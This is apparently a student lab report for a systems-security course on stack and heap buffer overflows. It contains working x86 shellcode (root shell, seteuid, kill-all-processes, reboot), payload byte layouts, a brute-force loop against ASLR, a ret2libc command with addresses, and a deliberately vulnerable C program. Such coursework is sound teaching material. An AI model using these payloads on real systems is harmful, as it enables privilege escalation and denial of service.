

SYSTEM AND NETWORK SECURITY (CS5470)

LAB ASSIGNMENT 4: A PRACTICAL ETHICAL HACKING: BUFFER-OVERFLOW ATTACK

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STACK OVERFLOW

1.1. What is Stack guard? What is ASLR protection?

- In 1998 GCC introduced StackGuard, which was successfully used in conjunction with other security hardening technologies to rebuild the Red Hat Linux 7.3 distribution (GCC 2.96-113).
- StackGuard works by inserting a small value known as a canary between the stack variables (buffers) and the function return address. When a stack-buffer overflows into the function return address, the canary is overwritten. During function return the canary value is checked and if the value has changed the program is terminated. Thus, reducing code execution to a mere denial of service attack. The performance cost of inserting and checking the canary is small for the benefit it brings, and can be reduced further if the compiler detects that no local buffer variables are used by the function so the canary can be safely omitted.
- Address Space Layout Randomization (ASLR) is a computer security technique which involves randomly positioning the base address of an executable and the position of libraries, heap, and stack, in a process's address space.
- The random mixing of memory addresses performed by ASLR means that an attack no longer knows at what address the required code (such as functions or ROP gadgets) is located. That way, rather than removing vulnerabilities from the system, ASLR attempts to make it more challenging to exploit existing vulnerabilities.

For the next 4 questions:

A. STACK.C FILE CODE:

```
//This program has a buffer overflow vulnerability
//The task is to exploit this vulnerability
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
char buffer[64];
strcpy(buffer,str);
return 1;
int main(int argc, char **argv)
char str[517];
FILE * malfile;
malfile = fopen("malfile", "r");
fread(str, sizeof(char), 517, malfile); bof(str);
printf("Returned Properly\n");
return 1;
```

B. Initial commands for Stack Overflow for Q(2-5):

- We are using a 32-Bit Ubuntu 14.04.
- Disabling the stack protection by using "**-fno-stack-protector**" while compiling the code.
- Making the stack executable by using "-z execstack" while compiling the code.
- Disabling ASLR (Address Space Layout Randomization) which is a default feature to protect attacks like Buffer Overflow. (sudo sysctl -w kernel.randomize va space=0)
- Setting permissions of the vulnerable program to be executable by any user and then tried running the file.

```
■ ubuntu@ubuntu: ~/Downloads/Assignment4

ubuntu@ubuntu: ~/Downloads/Assignment4$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
ubuntu@ubuntu: ~/Downloads/Assignment4$ sudo gcc stack.c -o stack -fno-stack-prote
ctor -z execstack
ubuntu@ubuntu: ~/Downloads/Assignment4$ sudo chmod 4755 stack
ubuntu@ubuntu: ~/Downloads/Assignment4$ sudo gcc exploit.c -o exp
exploit.c: In function 'main':
exploit.c:31:18: warning: initialization makes integer from pointer without a cas
t [enabled by default]
    long malAddress=(long *)&buffer + 80;
    ^
ubuntu@ubuntu: ~/Downloads/Assignment4$ ./exp
ubuntu@ubuntu: ~/Downloads/Assignment4$
```

1.2 . Perform a stack overflow attack on the stack.c and launch shell as root under when Stack is executable stack and ASLR is turned off.

1.2.1. Shell Code

```
/* const char code[] =

"\x31\xc0" /* Line 1: xorl %eax,%eax */

"\x50" /* Line 2: pushl %eax */

"\x68""/sh" /* Line 3: pushl $0x68732f2f */

"\x68""/bin" /* Line 4: pushl $0x6e69622f */

"\x89\xe3" /* Line 5: movl %esp,%ebx */

"\x50" /* Line 6: pushl %eax */

"\x50" /* Line 7: pushl %ebx */

"\x89\xe1" /* Line 8: movl %esp,%ecx */

"\x99" /* Line 9: cdq */

"\xb0\x0b" /* Line 10: movb $0x0b,%al */

"\xcd\x80" /* Line 11: int $0x80 */

;
```

1.2.1. Shell code in assembly language to launch shell.

1.2.2. Debugging with GDB and logic to use shellcode:

We need to find point where function is returning to its return address. We are using brute force approach to find return address position in GDB. We are filling Many numbers of 'A' character + return address + No Operation + Shell code. But we need to find exact number of 'A' to fill in.

We set the address to be at 74As and 78As to find the pointer location of return address, but received faults/errors in gdb:

```
ubuntu@ubuntu:-/Downloads/Assignment4$ sudo gcc exploit.c -o exp exploit.c: In function 'main': exploit.c: In function 'main': exploit.c: In function 'main': exploit.c: 31:18: warning: initialization makes integer from pointer without a cast [enabled by default] long malAddress=(long *)&buffer + 80;

^
ubuntu@ubuntu:-/Downloads/Assignment4$ ./exp ubuntu@ubuntu:-/Downloads/Assignment4$ ./stack Segmentation fault (core dumped) ubuntu@ubuntu:-/Downloads/Assignment4$ gdb ./stack GNU gdb (Ubuntu 7.7-0ubuntu3.1) 7.7 Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Readting symbols from ./stack...(no debugging symbols found)...done. (gdb) run Starting program: /home/ubuntu/Downloads/Assignment4/stack Program received signal SIGSEGV, Segmentation fault. 0x909090bf in ?? () (gdb)
```

```
■ ubuntu@ubuntu: ~/Downloads/Assignment4

<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./stack...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/ubuntu/Downloads/Assignment4/stack

Program received signal SIGSEGV, Segmentation fault.
0x909090bf in ?? ()
```

```
ubuntu@ubuntu: ~/Downloads/Assignment4
gdb) disas main
ump of assembler code for function main:
                                                  %ebp
%esp,%ebp
$0xfffffff0,%esp
  0x080484dc <+0>:
0x080484dd <+1>:
                                      mov
and
  0x080484df <+3>:
                                                 $0x200,%esp
$0x200,%esp
$0x80485e0,0x4(%esp)
$0x80485e2,(%esp)
0x80483b0 <fopen@plt>
%eax,0x21c(%esp)
  0x080484e2 <+6>:
0x080484e8 <+12>:
                                      movl
movl
   0x080484f0 <+20>:
  0x080484f7 <+27>:
0x080484fc <+32>:
                                     MOV
MOV
   0x08048503 <+39>:
  0x0804850a <+46>:
0x0804850e <+50>:
                                                  %eax,0xc(%esp)
$0x205,0x8(%esp)
   0x08048516 <+58>:
                                                  0x17(%esp),%eax
%eax,(%esp)
0x8048360 <fread@plt>
0x17(%esp),%eax
%eax,(%esp)
  0x0804851e <+66>:
0x08048522 <+70>:
   0x08048525 <+73>:
  0x0804852e <+82>:
  0x08048531 <+85>:
0x08048536 <+90>:
0x0804853d <+97>:
                                                  0x80484bd <bof>
                                      movl
call
                                                  0x8048380 <puts@plt>
  0x08048542 <+102>:
0x08048547 <+107>:
                                      mov
leave
                                                  $0x1,%eax
nd of assembler dump.
qdb) break *0x0804852e
db) run
e program being debugged has been started already.
```

```
ubuntu@ubuntu: ~/Downloads/Assignment4
Starting program: /home/ubuntu/Downloads/Assignment4/stack
Breakpoint 1, 0x0804852e in main ()
(gdb) x/100x $esp
0xbfffeec0: 0xbfffeed7 0x0
                                  0x00000001
                                                    0x00000205
                                                                      0x0804b008
exbfffeed0:
                                  0x41000010
                                                    0x41414141
                                                                      0x41414141
                0x00000007
xbfffeee0:
exbfffeef0:
xbfffef00:
                                                                      0x41414141
xbfffef20:
                                   0x90909090
                                                    0x90909090
                                                                      0x90909090
                 0x90909090
                                  0x90909090
                                                    0x90909090
                                                                      0x90909090
oxbfffef40:
0xbfffef50:
                 0x90909090
                                  0x90909090
                                                    0x90909090
                                                                      0x90909090
                 0x90909090
                                  0x90909090
                                                    0x90909090
                                                                      0x90909090
                 0x90909090
                                                                      0x90909090
xbfffef60:
                                  0x90909090
                                                    0x90909090
xbfffef70:
                 0x90909090
                                                    0x90909090
                                  0x90909090
                                                                      0x90909090
exbfffef80:
                 0x90909090
                                  0x90909090
                                                                      0x90909090
                                                    0x90909090
exbfffef90:
                                  0x90909090
                                                    0x90909090
                                                                      0x90909090
xbfffefa0:
                 0x90909090
                                  0x90909090
                                                    0x90909090
                                                                      0x90909090
                 0x90909090
                                   0x90909090
                                                    0x90909090
                                                                      0x90909090
xbfffefc0:
                 0x90909090
                                   0x90909090
                                                    0x90909090
                                                                      0x90909090
                                                                      0x90909090
xbfffefe0:
                 0x90909090
                                  0x90909090
                                                    0x90909090
                                                                      0x90909090
exbfffeff0:

exbffff000:
                 0x90909090
                                  0x90909090
                                                    0x90909090
                                                                      0x90909090
                 0x90909090
                                  0x90909090
                                                    0x90909090
                                                                      0x90909090
exbffff010:
                                  0x90909090
                                                    0x90909090
                                                                      0x90909090
exbffff020:
                 0x90909090
                                                                      0x90909090
                                                    0x90909090
                                  0x90909090
exbffff030:
                 0x90909090
                                                                      0x90909090
                                  0x90909090
                                                    0x90909090
exbffff040:
                 0x90909090
                                  0x90909090
                                                    0x90909090
                                                                      0x90909090
```

- We can see A's are stored in registers as 0x41(Ascii value of A in hex) + "Return Address" + 0x90 (No operation) + Shell code.
- Return Address is not at its exact position because A's are not added as exact frequency.

```
ubuntu@ubuntu:-/Downloads/Assignment4

ubuntu@ubuntu:-/Downloads/Assignment4$ sudo gcc exploit.c -o exp
exploit.c: In function 'main':
exploit.c:31:18: warning: initialization makes integer from pointer without a cas
t [enabled by default]
long malAddress=(long *)&buffer + 80;

"""
ubuntu@ubuntu:-/Downloads/Assignment4$ ./exp
ubuntu@ubuntu:-/Downloads/Assignment4$ gdb ./stack
GNU gdb (Ubuntu 7.7-0bubntu3.1) 7.7
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <a href="http://gnu.org/licenses/gpl.html">http://gnu.org/licenses/gpl.html</a>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<a href="http://www.gnu.org/software/gdb/bugs/">http://www.gnu.org/software/gdb/bugs/</a>
Find the GDB manual and other documentation resources online at:
<a href="http://www.gnu.org/software/gdb/documentation/">http://www.gnu.org/software/gdb/documentation/</a>
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./stack...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/ubuntu/Downloads/Assignment4/stack

Program received signal SIGSEGV, Segmentation fault.
0xf0574141 in ?? ()
(gdb) """
```

```
😑 🗊 ubuntu@ubuntu: ~/Downloads/Assignment4
reakpoint 1, 0x0804852e in main ()
gdb) x/100x $esp
xbfffeec0:
                 0xbfffeed7
                                   0x00000001
                                                     0x00000205
                                                                       0x0804b008
oxbfffeed0:
                                                     0x41414141
0x41414141
                0x00000007
                                   0x41000010
                                                                       0x41414141
                0x41414141
                                   0x41414141
                                                                       0x41414141
                                                     0x41414141
                                   0x41414141
xbfffeef0:
                0x41414141
                                                                       0x41414141
xbfffef00:
                0x41414141
                                   0x41414141
                                                                       0x41414141
xbfffef10:
                                   0x41414141
                                                                       0x41414141
xbfffef20:
                                                                       0x90909090
                 0x90909090
                                                                       0x90909090
xbfffef40:
                 0x90909090
                                   0x90909090
                                                     0x90909090
xbfffef50:
                 0x90909090
                                   0x90909090
                                                     0x90909090
                                                                       0x90909090
xbfffef60:
                 0x90909090
                                   0x90909090
                                                     0x90909090
                                                                       0x90909090
                 0x90909090
                                   0x90909090
                                                     0x90909090
                                                                       0x90909090
xbfffef80:
xbfffef90:
                0x90909090
0x90909090
                                                     0x90909090
0x90909090
                                   0x90909090
                                                                       0x90909090
                                   0x90909090
                                                                       0x90909090
xbfffefa0:
                0x90909090
                                                     0x90909090
                                   0x90909090
                                                                       0x90909090
xbfffefb0:
                                   0x90909090
                0x90909090
                                                     0x90909090
                                                                       0x90909090
xbfffefc0:
                0x90909090
                                   0x90909090
                                                     0x90909090
                                                                       0x90909090
xbfffefd0:
                 0x90909090
                                   0x90909090
                                                     0x90909090
                                                                       0x90909090
xbfffefe0:
                 0x90909090
                                                                       0x90909090
                                   0x90909090
                                                     0x90909090
                 0x90909090
                                   0x90909090
                                                     0x90909090
xbffff000:
                 0x90909090
                                   0x90909090
                                                     0x90909090
                                                                       0x90909090
                                   0x90909090
                                                                       0x90909090
oxbffff020:
0xbfffff030:
0xbfff<u>f</u>040:
                 0x90909090
                                   0x90909090
                                                     0x90909090
                                                                       0x90909090
                 0x90909090
                                   0x90909090
                                                     0x90909090
                                                                       0x90909090
                                                                       0x90909090
                 0x90909090
                                   0x90909090
                                                     0×90909090
```


- As We had put 78 A's, return address had showed 2 A in address which means we need to Add 76 A's and 4 byte of Return address followed by that.
- So finally, we know: 76 A's + 4 bytes Return Address + NOP + SHELLCODE is our structure for 517 bytes.

1.2.3. output:

```
🗎 🗊 ubuntu@ubuntu: ~/Downloads/Assignment4
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./stack...(no debugging symbols found)...done.
tarting program: /home/ubuntu/Downloads/Assignment4/stack
Program received signal SIGSEGV, Segmentation fault.
0xf0574141 in ?? ()
(gdb) Quit
A debugging session is active.
         Inferior 1 [process 16065] will be killed.
Quit anyway? (y or n) y
ubuntu@ubuntu:~/Downloads/Assignment4$ sudo gcc exploit.c -o exp
exploit.c: In function 'main'
exploit.c:31:18: warning: initialization makes integer from pointer without a cast [enabled by default]
  long malAddress=(long *)&buffer + 80;
ubuntu@ubuntu:~/Downloads/Assignment4$ ./exp
ubuntu@ubuntu:~/Downloads/Assignment4$ sudo chmod 4755 stack
ubuntu@ubuntu:~/Downloads/Assignment4$ ./stack
# whoami
root
# id
uid=999(ubuntu) gid=999(ubuntu) euid=0(root) groups=0(root),4(adm),24(cdrom),27(s
udo),30(dip),46(plugdev),108(lpadmin),124(sambashare),999(ubuntu)
```

Our Final output for running shell in root

1.2.4. your thoughts (How many no ops you used, why, what is return address, how it overflows)



The exploit.c file is vulnerable to buffer overflow attack because it is using the "strcpy" function (as does not make a check on size of the string it is copying).

Our file size is 517 bytes and buffer size is 64 bytes that means we can overflow it. We filled the entire 517 bytes with NO-Ops (\times 90) and change the last 24 bytes with the shell code of the program.

As our buffer size is 64 bytes, the program will allocate it 56 bytes of memory and 4 bytes of EBP and 4 bytes of return address which we need to modify. So, we need to overwrite this address of malicious code so that our exploit program will return to the malicious code.

To find this return address, we took the address of random location i.e., 100 bytes in between those 517 bytes and fill that value after the 24th Byte of the buffer so that when our vuln program returns it should point to some No-Op code finally leading to the malicious code.

Hence, the shell is led to the malicious code & the shell is created with root access.

DETAILS OF BYTE &NOP DISTRIBUTION:

- Our final Badfile content (517 bytes): 76A's + 4 bytes Address + NOP + Shell code (24 bytes)
- Total NOP(0x90) = 517 76 4 24 = 413 Bytes.

1.3. Perform a stack overflow attack on the stack.c and launch shell as root and perform seteuid() under when Stack is executable stack and ASLR is turned off.

1.3.1. Content of shell code:

```
const char code[] =

"\x31\xdb"

"\x99"

"\xcd\x80"

"\x31\xc9"

"\x51"

"\x68\x6e\x2f\x73\x68"

"\x68\x2f\x2f\x62\x69"

"\x8d\x41\x0b"

"\x89\xe3"

"\xcd\x80";
```

1.3.2. Logic to use shellcode

On compiling the exploit_seteuid file & then finally running stack file, the shell code sets the effective user ID of the calling process.

The shell code used is of 28 bytes.

1.3.3 OUTPUT

```
wbuntu@ubuntu: ~/Downloads/Assignment4
ubuntu@ubuntu: ~/Downloads/Assignment4$ gcc exploit_setuid.c -o exp
exploit_setuid.c: In function 'main':
```

1.3.4. YOUR THOUGHTS

The *seteuid()* function lets the calling process set the effective user ID, based on the following:

- If the process is the superuser, the *seteuid()* function sets the effective user ID to *uid*.
- If the process is not the superuser, and *uid* is equal to the real user ID or saved set-user ID, *seteuid()* sets the effective user ID to *uid*.

The real and saved user IDs are not changed.

- Our final Badfile content (517 bytes): 76A's + 4 bytes Address + NOP + Shell code (24 bytes)
- Total NOP(0x90) = 517 76 4 28 = 409 Bytes.

1.4. Perform a stack overflow attack on the stack.c and kill all processes when Stack is executable stack and ASLR is turned off. It is a kind of Denial of Service attack.

1.4.1 Content of shell code



1.4.2 Logic to use shellcode

Linux kill shellcode (11 bytes)

```
push byte 37
pop eax
push byte -1
pop ebx
push byte 9
pop ecx
int 0x80
```

1.4.3 Output

BEFORE:

Command to count the number of processes running in Linux is as follows:

ps -e | wc -l

Before:

```
ubuntu@ubuntu: ~/Downloads/Assignment4
ubuntu@ubuntu:~/Downloads/Assignment4$ ps
USER PID %CPU %MEM VSZ RSS TTY
                                              RSS TTY
2244 tty4
                                                                                      TIME COMMAND
                                                                                     0:00 /bin/login -f
             1443
             1454
                     0.0 0.0
                                               2236 tty2
                                               2240 tty3
             1461
                                               2236 tty6
             1722
1724
                                      6964
6964
buntu
                            0.0
                                               3092 tty4
                                               3092 tty6
             1725
1746
                                      6964
6964
                                               3092 tty3
3096 tty5
ıbuntu
                            0.0
             1750
1837
                            0.0
                                      6964
                                               3092 tty2
                                                                                    0:00 /bin/login -f
0:00 -bash
13:30 /usr/bin/X -core
0:00 bash
ubuntu
                      0.0
                            0.0
                                      6964
                                               3092 tty1
                                   289288 98332 tty7
                                      6920
5224
ıbuntu
            14542
                                              3380 pts/3
ıbuntu
                                              1152 pts/3
                                                                                      0:00 ps -au
ubuntu@ubuntu:~/Downloads/Assignment4$ ps -e|wc -l
ubuntu@ubuntu:~/Downloads/Assignment4$
```

AFTER:

```
# Starting Mount network filesystems [OK]

* Starting ACPI daemon [OK]
```

1.4.4 Your thoughts

The shell code is used to send signal to the processor to kill all the running processes in the system. Due to this command, user's process, system level process, and process started by other users – all are killed.

DETAILS OF BYTE &NOP DISTRIBUTION:

- Our final Badfile content (517 bytes): 76A's + 4 bytes Address + NOP + Shell code (24 bytes)
- Total NOP(0x90) = 517 76 4 11 = 426 Bytes.

1.5. Perform a stack overflow attack on the stack.c and reboot the system when Stack is executable stack and ASLR is turned off.

1.5.1 Content of Shell Code

1.5.2 Logic to use shellcode.

Linux reboot shellcode (89 bytes)

```
Disassembly of section .shellcode:
08049060 < start>:
 8049060: eb 30
                              8049092 <mycall>
                        jmp
08049062 <shellcode>:
 8049062: 5e
                        pop
                             %esi
                         xor %eax,%eax
 8049063: 31 c0
 8049065: 88 46 07
                                %al,0x7(%esi)
                          mov
 8049068: 88 46 0a
                          mov
                                %al,0xa(%esi)
 804906b: 88 46 11
                          mov %al,0x11(%esi)
 804906e: 89 76 12
                          mov %esi,0x12(%esi)
 8049071: 8d 5e 08
                          lea 0x8(%esi),%ebx
 8049074: 89 5e 16
                          mov %ebx,0x16(%esi)
                              0xb(%esi),%ebx
 8049077: 8d 5e 0b
                          lea
 804907a: 89 5e 1a
                                %ebx,0x1a(%esi)
                          mov
 804907d: 89 46 1e
                          mov %eax,0x1e(%esi)
 8049080: b0 0b
                               $0xb,%al
                         mov
 8049082: 89 f3
                               %esi,%ebx
                         mov
                              0x12(%esi),%ecx
 8049084: 8d 4e 12
                          lea
 8049087: 8d 56 1e
                              0x1e(%esi),%edx
 804908a: cd 80
                         int $0x80
                               $0x1,%al
 804908c: b0 01
                         mov
 804908e: 31 db
                              %ebx,%ebx
                         xor
                         int $0x80
 8049090: cd 80
08049092 <mycall>:
 8049092: e8 cb ff ff ff
                          call 8049062 <shellcode>
 8049097: 2f
                       das
 8049098: 62 69 6e
                          bound %ebp,0x6e(%ecx)
 804909b: 2f
                        das
                         iae 8049106 < \text{end} + 0x4a >
 804909c: 73 68
 804909e: 23 2d 63 23 72 65
                             and 0x65722363,%ebp
 80490a4: 62 6f 6f
                         bound %ebp,0x6f(%edi)
                             80490cc < end+0x10>
 80490a7: 74 23
```

```
80490a9: 41
                          %ecx
                      inc
80490aa: 41
                     inc
                         %ecx
80490ab: 41
                      inc
                          %ecx
80490ac: 41
                         %ecx
                     inc
80490ad: 42
                         %edx
                     inc
80490ae: 42
                     inc
                          %edx
80490af: 42
                     inc %edx
80490b0: 42
                     inc %edx
80490b1: 43
                      inc %ebx
80490b2: 43
                     inc %ebx
80490b3: 43
                      inc
                          %ebx
80490b4: 43
                      inc %ebx
80490b5: 44
                     inc %esp
80490b6: 44
                      inc %esp
80490b7: 44
                      inc %esp
80490b8: 44
                          %esp
                      inc
```

1.5.3 Output: It reboots the ubuntu.

The system rebooted after this.

1.5.4 Your thoughts:

When return pointer hits the target malicious code. The shell contains assembly level instruction for rebooting the system. Thus, by stack overflow attack we can reboot the system the same way we did in previous question.

- Our final Badfile content (517 bytes): 76A's + 4 bytes Address + NOP + Shell code(89 bytes)
- Total NOP(0x90) = 517 76 4 89 = 348 Bytes.

1.6. Now turn on ASLR and perform all the tasks from 2 to 5.

In this section, we will not turn off the ASLR, and run above codes in infinite while loop. It will eventually go to right address in one of the loops and exploit the system.

While command:

```
sh -c "while [ 1 ]; do ./stack; done;"
```

a. Launching shell as root under when Stack is executable stack with ASLR Turned on.

```
wbuntu@ubuntu: ~/Downloads

ubuntu@ubuntu: ~$ sudo sysctl -w kernel.randomize_va_space=2

kernel.randomize_va_space = 2

ubuntu@ubuntu: ~$ gcc exploit.c -o exp

gcc: error: exploit.c: No such file or directory

gcc: fatal error: no input files

compilation terminated.

ubuntu@ubuntu: ~$ clear

ubuntu@ubuntu: ~$ cd Downloads/

ubuntu@ubuntu: ~|Downloads$ sudo sysctl -w kernel.randomize_va_space=2

kernel.randomize_va_space = 2

ubuntu@ubuntu: ~|Downloads$ gcc exploit.c -o exp

exploit.c: In function 'main':

exploit.c:30:18: warning: initialization makes integer from pointer without a ca

st [enabled by default]

long malAddress=(long *)&buffer + 110;

exploit.c:32:2: warning: format '%x' expects argument of type 'unsigned int', bu

t argument 2 has type 'long int' [-Wformat=]

printf("%x",malAddress);

^
ubuntu@ubuntu: ~|Downloads$ sudo gcc stack.c -o stack -fno-stack-protector -z exe

cstack

ubuntu@ubuntu: ~|Downloads$ sh -c "while [ 1 ]; do ./stack; done;"

Segmentation fault (core dumped)
```

```
Segmentation fault (core dumped)
```

b. launch shell as root and perform seteuid() under when Stack is executable stack and ASLR is turned on.

```
■ ubuntu@ubuntu: ~/Downloads
ubuntu@ubuntu:~/Downloads$ sudo sysctl -w kernel.randomize_va_space=2
nunraquodita. /pownredas, sees system

kernel.randomize_va_space = 2

jbuntu@ubuntu:~/Downloads$ gcc exploit_setuid.c -o exp

exploit_setuid.c: In function 'main':

exploit_setuid.c:30:18: warning: initialization makes integer from pointer witho
ut a cast [enabled by default]
long malAddress=(long *)&buffer + 80;
ibuntu@ubuntu:~/Downloads$ sh -c "while [ 1 ]; do ./stack; done;"
segmentation fault (core dumped)
egmentation fault (core dumped)
segmentation fault (core dumped)
egmentation fault (core dumped)
segmentation fault (core dumped)
egmentation fault (core dumped)
egmentation fault (core dumped)
```

```
😰 🖨 📵 ubuntu@ubuntu: ~/Downloads
Segmentation fault (core dumped)
egmentation fault (core dumped)
egmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
egmentation fault (core dumped)
egmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
egmentation fault (core dumped)
whoami
oot
id
uid=0(root) gid=999(ubuntu) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(
olugdev),108(lpadmin),124(sambashare),999(ubuntu)
buntu@ubuntu:~/Downloads$
```

c. Kill all processes when Stack is executable stack and ASLR is turned on.

```
ubuntu@ubuntu:~/Downloads$ gcc exploit_kill.c -o exp
exploit_kill.c: In function 'main':
exploit_kill.c: In function 'main':
exploit_kill.c: 20:18: warning: initialization makes integer from pointer without
a cast [enabled by default]
long malAddress=(long *)&buffer + 100;

ubuntu@ubuntu:-/Downloads$ ./exp
ubuntu@ubuntu:-/Downloads$ ./exp
ubuntu@ubuntu:-/Downloads$ .c "while [ 1 ]; do ./stack; done;"
Segmentation fault (core dumped)
```

```
■ continue of the standard of
```


d. reboot the system when Stack is executable stack and ASLR is turned on.

The system rebooted after this.

1.7. Turn on a non-executable stack. Perform any ret2libc attack

1.7.1 RET2LIBC ATTACK

A ret2libc (return to libc, or return to the C library) attack is one in which the attacker does not require any shellcode to take control of a target, vulnerable process. So, attackers use this technique a lot.



1.7.2. CODE:

```
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
    char buffer[64];
    strcpy(buffer,str);
    printf("%s \n",buffer);
    return 1;
}
int main(int argc, char **argv)
{
    bof(argv[1]);
    printf("Returned Properly\n");
    return 1;
}
```

1.7.3. Running the application

1.7.4 Debugging using gdb and finding addresses

We ran the application with 56 chars which was returned properly.

Then, we ran the application with 80 chars, which returned segmentation fault.

Now I created a pattern with 80 chars and set as arg.

Then run the program and find the crashing offset.

```
ubuntu@ubuntu: ~/Downloads
 tarting program: /home/ubuntu/Downloads/stack 'AAA%AAsAABAAŞAAnAACAA-AA(AADAA;
 .
AA%AASAABAA$AAnAACAA-AA(AADAA;AA)AAEAA∂AA0AAFAAbAA1AAGAACAA2AAHAAdAA3AAIAAeAA4
Program received signal SIGSEGV, Segmentation fault.
BX: 0xb7fc3000 --> 0x1aada8
 CX: 0x0
DX: 0xb7fc4898 --> 0x0
DI: 0x0
BP: 0x65414149 ('IAAe')
BP: 0x65414149 ('IAAe')
BP: 0x6ffff090 --> 0xbffff300 --> 0x507a8a1d
IP: 0x41344141 ('AA4A')
BFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow
00004| 0xbffff090 --> 0xbffff000 --> 0x20f34
00004| 0xbffff098 --> 0xb7fff000 --> 0x20f34
0008| 0xbffff098 --> 0x80484eb (<__libc_csu_init+11>: add
00012| 0xbffff09c --> 0xb7fc3000 --> 0x1aada8
0016| 0xbffff0a0 --> 0x80484e0 (<__libc_csu_init>: push
0020| 0xbffff0a4 --> 0x0
0024| 0xbffff0a8 --> 0x0
0028| 0xbffff0ac --> 0xb7e31a83 (<__libc_start_main+243>:
                                                                                                              DWORD PT
[esp],eax)
egend: code
egend: code, data, rodata, value
itopped reason: SIGSEGV
0x41344141 in ?? ()
```

Finally, we got the offset, system address, exit address, and shell address.

Now we have to create our payload and send it. Then we will get a shell.

1.7.5. Your Thoughts:

So, we know the buffer length we need to use, next we need to find the address of a library function that we want to execute and have perform the job of owning this application.

We can see the address for system is at 0xb7e583b0, that will be used to overwrite the return address, meaning when the strcpy overflow triggers and the function returns, retlib will return to this address and execute system with the arguments we supply to it.

We can see the address of our shell is at 0xb7f795a4.

The first argument will be that of /bin/sh, having system spawn a shell for us.

Putting that together, we whip up our command line argument:

Sudo ./stack \$(python -c "print('A'*76+ '\xb0\x83\xe5\xb7' + 'A'*74 + '\xa4\x95\xf7\xb7')")

Command Line Argument explanation: (A*76 + system address + a*24 + shell address)

We written those memory addresses in reverse order. That is because the x86 architecture is little endian, which means the lower order byte is stored first in memory, hence, the value 0x12345678 is stored as 78 56 34 12 in memory

HEAP OVERFLOW

- 1. Exploit the heap and try to execute Shell function to launch a shell.
- 1.1 content of shell code (your shellcode/input)

```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct data {
char name[64];
struct fp {
int (*fp)();
void executeShell(){
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
printf("Success");
execve(name[0],name,NULL);
void Failed(){
printf("You failed to exploit the heap \n");
int main(int argc, char **argv)
struct data *d;
struct fp *f;
 d = malloc(sizeof(struct data));
 f = malloc(sizeof(struct fp));
 f->fp = Failed;
 strcpy(d->name, argv[1]);
 f->fp();
```

1.2 debugging with gdb and logic to use shellcode (logic):

To compile program: gcc heap.c -o heap

To open program in gdb: gdb heap

Dissembling main functions: disas main

```
ubuntu@ubuntu:~/Documents/Heap$
ubuntu@ubuntu:-/Documents/Heap$ gcc heap.c -o heap
heap.c: In function 'main':
heap.c:33:9: warning: assignment from incompatible pointer type [enabled by defaul
t]
    f->fp = Failed;
    ubuntu@ubuntu:~/Documents/Heap$ gdb --nx heap
GNU gdb (Ubuntu 7.7-0ubuntu3.1) 7.7
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <a href="http://gnu.org/licenses/gpl.html">http://gnu.org/licenses/gpl.html</a>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<a href="http://www.gnu.org/software/gdb/bugs/">http://www.gnu.org/software/gdb/bugs/</a>.
Find the GDB manual and other documentation resources online at:
```

```
🗎 📵 ubuntu@ubuntu: ~/Documents/Heap
      "apropos word" to search for commands related to "word"...
deading symbols from heap...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
  0x08048554 <+51>:
                                                0x1c(%esp),%eax
                                               0x1c(%esp), %eax
%eax, 0x8(%esp)
0x18(%esp), %eax
%eax, 0x4(%esp)
50x8048658, (%esp)
0x8048370 <pri>oprintf@plt>
0xc(%ebp), %eax
50x4 %eav
   0x08048558 <+55>:
0x0804855c <+59>:
0x08048560 <+63>:
   0x08048564 <+67>:
   0x0804856b <+74>:
0x08048570 <+79>:
   0x08048573 <+82>:
                                                $0x4,%eax
   0x08048576 <+85>:
                                                (%eax),%edx
                                                0x18(%esp),%eax
%edx,0x4(%esp)
   0x08048578 <+87>:
0x0804857c <+91>:
                                     MOV
                                                %eax,(%esp)
0x8048380 <strcpy@plt>
0x1c(%esp),%eax
   0x08048580 <+95>:
   0x08048588 <+98>:
0x08048588 <+103>:
0x0804858c <+107>:
0x0804858c <+109>:
                                     MOV
MOV
                                                (%eax),%eax
   0x08048590 <+111>:
0x08048591 <+112>:
```

We set a breakpoint right before the main() function returns.

```
ubuntu@ubuntu: ~/Documents/Heap
end of assembler dump.
(gdb) break *0x08048591
Breakpoint 1 at 0x8048591
(gdb) run AAAA
Starting program: /home/ubuntu/Documents/Heap/heap AAAA
data is at 0x804b008, fp is at 0x804b050
You failed to exploit the heap
